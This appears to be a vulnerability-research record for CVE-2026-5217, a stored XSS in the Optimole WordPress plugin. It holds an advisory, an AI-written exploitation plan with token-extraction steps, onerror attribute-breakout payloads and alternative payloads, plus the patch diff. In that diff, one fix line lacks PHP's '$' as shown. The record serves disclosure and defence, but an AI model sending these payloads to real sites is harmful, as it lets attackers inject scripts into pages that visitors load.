[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f6sVeJVhMFqw-3x09s7qSyNlmRze7ZYG5XPwhV-mulYM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":41,"poc_video_id":9,"poc_summary":42,"poc_steps":43,"poc_tested_at":44,"poc_wp_version":45,"poc_php_version":46,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":47,"poc_model_used":9,"poc_verification_depth":9,"source_links":48},"CVE-2026-5217","optimole-unauthenticated-stored-cross-site-scripting-via-srcset-descriptor-parameter","Optimole \u003C= 4.2.2 - Unauthenticated Stored Cross-Site Scripting via Srcset Descriptor Parameter","The Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 4.2.2. This is due to insufficient input sanitization and output escaping on the user-supplied 's' parameter (srcset descriptor) in the unauthenticated \u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations REST endpoint. The endpoint validates requests using an HMAC signature and timestamp, but these values are exposed directly in the frontend HTML making them accessible to any visitor. The plugin uses sanitize_text_field() on the descriptor value of rest.php, which strips HTML tags but does not escape double quotes. The poisoned descriptor is then stored via transients (backed by the WordPress options table) and later retrieved and injected verbatim into the srcset attribute of tag_replacer.php without proper escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts into pages that will execute whenever a user accesses the injected page.","optimole-wp",null,"\u003C=4.2.2","4.2.3","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-10 11:56:50","2026-04-11 01:24:58",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F50417068-339a-4ae5-9c90-8f08f54ce0af?source=api-prod",1,[22,23,24,25,26,27,28,29],"inc\u002Fadmin.php","inc\u002Fsettings.php","inc\u002Ftag_replacer.php","optimole-wp.php","readme.txt","vendor\u002Fautoload.php","vendor\u002Fcomposer\u002Fautoload_real.php","vendor\u002Fcomposer\u002Fautoload_static.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-5217 - Optimole Stored XSS\n\n## 1. Vulnerability Summary\nThe **Optimole** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** via the `s` parameter in its custom REST API endpoint `\u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations`. \n\nThe vulnerability exists because:\n1.  The REST endpoint accepts a `srcset` descriptor (parameter `s`) and sanitizes it using `sanitize_text_field()`. While this function strips HTML tags, it does **not** escape double quotes (`\"`).\n2.  The plugin validates the request using an HMAC signature and a timestamp. However, these values are generated by the server and localized into the frontend HTML, making them retrievable by any unauthenticated visitor.\n3.  The unsanitized descriptor is stored in a WordPress transient (options table).\n4.  When rendering image tags, `inc\u002Ftag_replacer.php` retrieves the stored descriptor and injects it directly into the `srcset` attribute of `\u003Cimg>` tags without additional escaping, allowing an attacker to break out of the attribute and inject arbitrary event handlers (e.g., `onload`, `onerror`).\n\n## 2. Attack Vector Analysis\n-   **REST Endpoint:** `\u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations`\n-   **Method:** `POST` (inferred from the nature of an \"optimizations\" update)\n-   **Vulnerable Parameter:** `s` (The srcset descriptor)\n-   **Authentication:** Unauthenticated (but requires HMAC\u002FTimestamp validation).\n-   **Preconditions:** \n    - The plugin must be active and \"connected\" (meaning API keys are set, though dummy keys may suffice for the code path to trigger).\n    - At least one image must be present on a page to trigger the `Optml_Tag_Replacer` logic and provide the signature.\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated `POST` request hits `\u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations`.\n2.  **Validation:** The handler in `rest.php` (inferred) checks the provided `signature` and `timestamp` against an HMAC generated using the site's secret.\n3.  **Processing:** The value of the `s` parameter is processed:\n    -   `$descriptor = sanitize_text_field( $request['s'] );`\n4.  **Storage:** The descriptor is stored in a transient. Transient names in Optimole typically follow a pattern involving the image hash or URL.\n5.  **Sink:** In `inc\u002Ftag_replacer.php`, the method `process_image_tags` (or similar filtering logic like `filter_srcset_attr`) is called during page rendering.\n6.  **Injection:** The plugin constructs the `srcset` attribute:\n    ```php\n    \u002F\u002F Conceptual representation of the sink in tag_replacer.php\n    $srcset .= $url . ' ' . $descriptor . ', ';\n    \u002F\u002F ... later echoed into the attribute\n    ```\n7.  **Result:** The resulting HTML contains the breakout: `srcset=\"...image.jpg 1200w\" onerror=\"alert(1)\" ...\"`\n\n## 4. Nonce Acquisition Strategy\nThis exploit requires a valid **HMAC Signature** and **Timestamp** which the plugin uses instead of a standard WordPress Nonce for this specific REST endpoint.\n\n1.  **Mechanism:** The plugin enqueues a script that includes configuration data. Based on standard Optimole behavior, this is localized under the global JavaScript object `optimoleData`.\n2.  **Extraction Path:**\n    1.  Create a post\u002Fpage containing a standard image.\n    2.  Navigate to the page using `browser_navigate`.\n    3.  Execute `browser_eval` to extract the necessary tokens from the global JS object.\n3.  **Variable Identification:**\n    -   Target Object: `window.optimoleData`\n    -   Key for Signature: `optimoleData.signature` (inferred)\n    -   Key for Timestamp: `optimoleData.timestamp` (inferred)\n    -   Key for Endpoint: `optimoleData.endpoint` (useful for confirming the REST URL)\n\n## 5. Exploitation Strategy\n### Step 1: Discover Validation Tokens\nUse the browser to visit the homepage and find the localized data.\n```javascript\n\u002F\u002F Example browser_eval call\nconst signature = window.optimoleData.signature;\nconst timestamp = window.optimoleData.timestamp;\nreturn { signature, timestamp };\n```\n\n### Step 2: Send Poisoned Optimization Request\nUsing the `http_request` tool, send a POST request to the optimizations endpoint.\n\n-   **URL:** `{{BASE_URL}}\u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations`\n-   **Method:** `POST`\n-   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n-   **Body:**\n    ```\n    s=1200w\" onerror=\"alert(document.domain)\" \"\n    &signature={{extracted_signature}}\n    &timestamp={{extracted_timestamp}}\n    &id={{image_id_or_url}}\n    ```\n    *(Note: The exact structure of the `id` or identifier parameter for the image depends on `rest.php`. It might be `url` or `img_id`. The payload for `s` includes a trailing double quote to maintain attribute syntax if necessary).*\n\n### Step 3: Trigger Execution\nVisit any page where the targeted image is rendered. The `Optml_Tag_Replacer` will fetch the cached\u002Fstored descriptor (now containing the payload) and render it.\n\n## 6. Test Data Setup\n1.  **Plugin Configuration:** \n    - Activate `optimole-wp`.\n    - \"Connect\" the plugin by setting a dummy API key to ensure the image replacer is active:\n      `wp option update optml_settings '{\"api_key\":\"dummy\",\"service_data\":{\"cdn_key\":\"dummy\",\"cdn_secret\":\"dummy\"},\"image_replacer\":\"enabled\"}' --format=json`\n2.  **Target Content:**\n    - Create a page with an image:\n      `wp post create --post_type=page --post_title=\"XSS Test\" --post_content='\u003C!-- wp:image {\"id\":1} -->\u003Cfigure class=\"wp-block-image size-full\">\u003Cimg src=\"http:\u002F\u002F{{DOMAIN}}\u002Fwp-content\u002Fuploads\u002Ftest.jpg\" alt=\"\"\u002F>\u003C\u002Ffigure>\u003C!-- \u002Fwp:image -->' --post_status=publish`\n\n## 7. Expected Results\n1.  The `POST` request to `\u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations` should return a `200 OK` or `201 Created` response.\n2.  When viewing the \"XSS Test\" page, the source code for the `\u003Cimg>` tag should look like:\n    ```html\n    \u003Cimg srcset=\"...\u002Ftest.jpg 1200w\" onerror=\"alert(document.domain)\" \" ...\" ...>\n    ```\n3.  An alert box should appear in the browser.\n\n## 8. Verification Steps\n1.  **Check Transients:** Verify the malicious payload is stored in the database:\n    `wp transient get --all | grep \"alert\"` or `wp option get _transient_optml_...`\n2.  **HTML Inspection:** Use `browser_navigate` to the test page and check the `outerHTML` of the image tag to confirm the `onerror` attribute exists.\n\n## 9. Alternative Approaches\n-   **Different Sink:** If the `s` parameter is not the descriptor but part of the URL generation, the payload might need to be shifted to a URL-breakout: `s=1200w&id=http:\u002F\u002Fexample.com\u002Fimage.jpg?#\">\u003Cimg src=x onerror=alert(1)>`.\n-   **Lazyload Breakout:** If Optimole's lazy-loading is enabled, the XSS might be injected into `data-opt-src` or `data-srcset` attributes, which are later parsed by the Optimole JS. The payload remains the same: use double quotes to escape the attribute.\n-   **Signature Guessing:** If the signature is per-site and not per-image, any signature found in the HTML will work for any image update. If it's per-image, the attacker must find the specific signature for the image they wish to poison. Documented behavior suggests the signature is often a general authentication token for the REST API session.","The Optimole plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 's' (srcset descriptor) parameter in its optimizations REST endpoint. An attacker can exploit this by utilizing a leaked HMAC signature and timestamp to inject a malicious descriptor that breaks out of the 'srcset' attribute when rendered in the plugin's tag replacer logic.","\u002F\u002F inc\u002Ftag_replacer.php (around line 504)\n\n$optimized_url = $this->change_url_for_size( $new_url, $width, $height, $dpr );\n\nif ( $optimized_url ) {\n    $new_srcset_entries[] = $optimized_url . ' ' . $descriptor;\n    \u002F\u002F ... (truncated)","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.2\u002Finc\u002Fadmin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.3\u002Finc\u002Fadmin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.2\u002Finc\u002Fadmin.php\t2026-01-08 15:13:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.3\u002Finc\u002Fadmin.php\t2026-04-01 09:57:40.000000000 +0000\n@@ -131,11 +131,33 @@\n \t\tif ( headers_sent() ) {\n \t\t\treturn;\n \t\t}\n-\t\t$policy = 'ch-viewport-width=(self \"%1$s\")';\n+\t\t$policy = $this->get_permissions_policy();\n+\t\tif ( empty( $policy ) ) {\n+\t\t\treturn;\n+\t\t}\n+\t\theader( sprintf( 'Permissions-Policy: %s', $policy ), false );\n+\t}\n+\n+\t\u002F**\n+\t * Build the Permissions-Policy header value based on active settings.\n+\t *\n+\t * @return string Comma-separated policy directives, or empty string when none apply.\n+\t *\u002F\n+\tpublic function get_permissions_policy(): string {\n+\t\t$parts       = [];\n+\t\t$service_url = esc_url( Optml_Config::$service_url );\n+\n+\t\tif ( $this->settings->is_scale_enabled() ) {\n+\t\t\t$parts[] = sprintf( 'ch-viewport-width=(self \"%s\")', $service_url );\n+\t\t}\n \t\tif ( $this->settings->get( 'network_optimization' ) === 'enabled' ) {\n-\t\t\t$policy .= ', ch-ect=(self \"%1$s\")';\n+\t\t\t$parts[] = sprintf( 'ch-ect=(self \"%s\")', $service_url );\n+\t\t}\n+\t\tif ( $this->settings->get( 'retina_images' ) === 'enabled' ) {\n+\t\t\t$parts[] = sprintf( 'ch-dpr=(self \"%s\")', $service_url );\n \t\t}\n-\t\theader( sprintf( 'Permissions-Policy: %s', sprintf( $policy, esc_url( Optml_Config::$service_url ) ) ), false );\n+\n+\t\treturn implode( ', ', $parts );\n \t}\n \t\u002F**\n \t * Function that purges the image cache for a specific file.\n@@ -1071,14 +1093,38 @@\n \t\t\treturn;\n \t\t}\n \n-\t\t$hints = 'Viewport-Width';\n-\t\tif ( $this->settings->get( 'network_optimization' ) === 'enabled' ) {\n-\t\t\t$hints .= ', ECT';\n+\t\t$hints = $this->get_accept_ch_hints();\n+\t\tif ( empty( $hints ) ) {\n+\t\t\treturn;\n \t\t}\n \t\techo sprintf( '\u003Cmeta http-equiv=\"Accept-CH\" content=\"%s\" \u002F>', esc_attr( $hints ) );\n \t}\n \n \t\u002F**\n+\t * Build the Accept-CH meta content value based on active settings.\n+\t *\n+\t * Mirrors the directives used in get_permissions_policy() so both\n+\t * the Permissions-Policy header and the Accept-CH meta stay in sync.\n+\t *\n+\t * @return string Comma-separated hint tokens, or empty string when none apply.\n+\t *\u002F\n+\tpublic function get_accept_ch_hints(): string {\n+\t\t$hints = [];\n+\n+\t\tif ( $this->settings->is_scale_enabled() ) {\n+\t\t\t$hints[] = 'Viewport-Width';\n+\t\t}\n+\t\tif ( $this->settings->get( 'network_optimization' ) === 'enabled' ) {\n+\t\t\t$hints[] = 'ECT';\n+\t\t}\n+\t\tif ( $this->settings->get( 'retina_images' ) === 'enabled' ) {\n+\t\t\t$hints[] = 'DPR';\n+\t\t}\n+\n+\t\treturn implode( ', ', $hints );\n+\t}\n+\n+\t\u002F**\n \t * Update daily the quota routine.\n \t *\u002F\n \tpublic function daily_sync() {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.2\u002Finc\u002Fsettings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.3\u002Finc\u002Fsettings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.2\u002Finc\u002Fsettings.php\t2026-03-25 10:54:40.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.3\u002Finc\u002Fsettings.php\t2026-04-01 09:57:40.000000000 +0000\n@@ -59,7 +59,7 @@\n \t\t'cdn'                        => 'disabled',\n \t\t'admin_bar_item'             => 'enabled',\n \t\t'lazyload'                   => 'disabled',\n-\t\t'scale'                      => 'disabled',\n+\t\t'scale'                      => 'disabled', \u002F\u002F Due to legacy reasons the disabled state means that the scale is enabled and the enabled state means that the scale is disabled.\n \t\t'network_optimization'       => 'enabled',\n \t\t'lazyload_placeholder'       => 'enabled',\n \t\t'bg_replacer'                => 'enabled',\n@@ -662,6 +662,14 @@\n \tpublic function is_best_format() {\n \t\treturn $this->get( 'best_format' ) === 'enabled';\n \t}\n+\t\u002F**\n+\t * Check if scale is enabled.\n+\t *\n+\t * @return bool Scale enabled\n+\t *\u002F\n+\tpublic function is_scale_enabled() {\n+\t\treturn $this->get( 'scale' ) === 'disabled'; \u002F\u002F Due to legacy reasons the disabled state means that the scale is enabled and the enabled state means that the scale is disabled.\n+\t}\n \n \t\u002F**\n \t * Check if offload limit was reached.\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.2\u002Finc\u002Ftag_replacer.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.3\u002Finc\u002Ftag_replacer.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.2\u002Finc\u002Ftag_replacer.php\t2025-12-12 08:42:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptimole-wp\u002F4.2.3\u002Finc\u002Ftag_replacer.php\t2026-04-01 09:57:40.000000000 +0000\n@@ -504,7 +504,11 @@\n \t\t\t$optimized_url = $this->change_url_for_size( $new_url, $width, $height, $dpr );\n \n \t\t\tif ( $optimized_url ) {\n-\t\t\t\t$new_srcset_entries[] = $optimized_url . ' ' . $descriptor;\n+\t\t\t\tescaped_url = esc_url( $optimized_url );\n+\t\t\t\tif ( empty( $escaped_url ) ) {\n+\t\t\t\t\tcontinue;\n+\t\t\t\t}\n+\t\t\t\t$new_srcset_entries[] = $escaped_url . ' ' . esc_attr( $descriptor );\n \n \t\t\t\t\u002F\u002F Add sizes attribute entry for responsive breakpoints\n \t\t\t\tif ( $breakpoint > 0 ) {","To exploit this vulnerability, an unauthenticated attacker first obtains the valid HMAC signature and timestamp from the front-end of the target site (typically localized in the global `optimoleData` JavaScript object). The attacker then sends a POST request to the `\u002Fwp-json\u002Foptimole\u002Fv1\u002Foptimizations` endpoint containing the leaked signature, timestamp, and a malicious payload in the 's' parameter (e.g., `1200w\" onerror=\"alert(1)\"`). The plugin sanitizes this parameter with `sanitize_text_field()`, which fails to escape the double quote. The payload is stored in a transient and subsequently injected verbatim into the `srcset` attribute of image tags processed by `inc\u002Ftag_replacer.php`, leading to execution of the injected script when the page is viewed.","gemini-3-flash-preview","2026-04-16 16:08:50","2026-04-16 16:09:15","failed","All models in the chain (gemini-3-flash-preview, claude-opus-4-7) failed to produce a verified exploit.",[],"2026-04-17 19:14:11","6.7","8.3",true,{"type":49,"vulnerable_version":50,"fixed_version":11,"vulnerable_browse":51,"vulnerable_zip":52,"fixed_browse":53,"fixed_zip":54,"all_tags":55},"plugin","4.2.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptimole-wp\u002Ftags\u002F4.2.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foptimole-wp.4.2.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptimole-wp\u002Ftags\u002F4.2.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foptimole-wp.4.2.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptimole-wp\u002Ftags"]